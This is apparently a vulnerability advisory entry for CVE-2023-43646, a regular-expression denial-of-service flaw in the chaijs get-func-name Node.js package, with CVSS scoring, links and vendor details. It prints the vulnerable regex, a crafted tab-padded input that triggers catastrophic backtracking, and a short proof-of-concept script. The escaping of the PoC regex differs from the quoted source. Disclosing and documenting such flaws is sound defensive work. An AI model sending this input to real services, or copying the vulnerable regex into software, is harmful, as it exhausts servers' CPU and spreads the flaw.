CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS
Percentile
20.5%
The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows:
const functionNameMatch = /\s*function(?:\s|\s*\/\*[^(?:*/)]+\*\/\s*)*([^\s(/]+)/;
This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:
'\t'.repeat(54773) + '\t/function/i'
Here is a simple PoC code to demonstrate the issue:
const protocolre = /\sfunction(?:\s|\s/*[^(?:*\/)]+*/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Vendor | Product | Version | CPE |
---|---|---|---|
chaijs | get-func-name | * | cpe:2.3:a:chaijs:get-func-name:*:*:*:*:*:node.js:*:* |
github.com/advisories/GHSA-4q6p-r6v2-jvc5
github.com/chaijs/get-func-name/blob/78ad756441a83f3dc203e50f76c113ae3ac017dc/index.js#L15
github.com/chaijs/get-func-name/commit/f934b228b5e2cb94d6c8576d3aac05493f667c69
github.com/chaijs/get-func-name/security/advisories/GHSA-4q6p-r6v2-jvc5
nvd.nist.gov/vuln/detail/CVE-2023-43646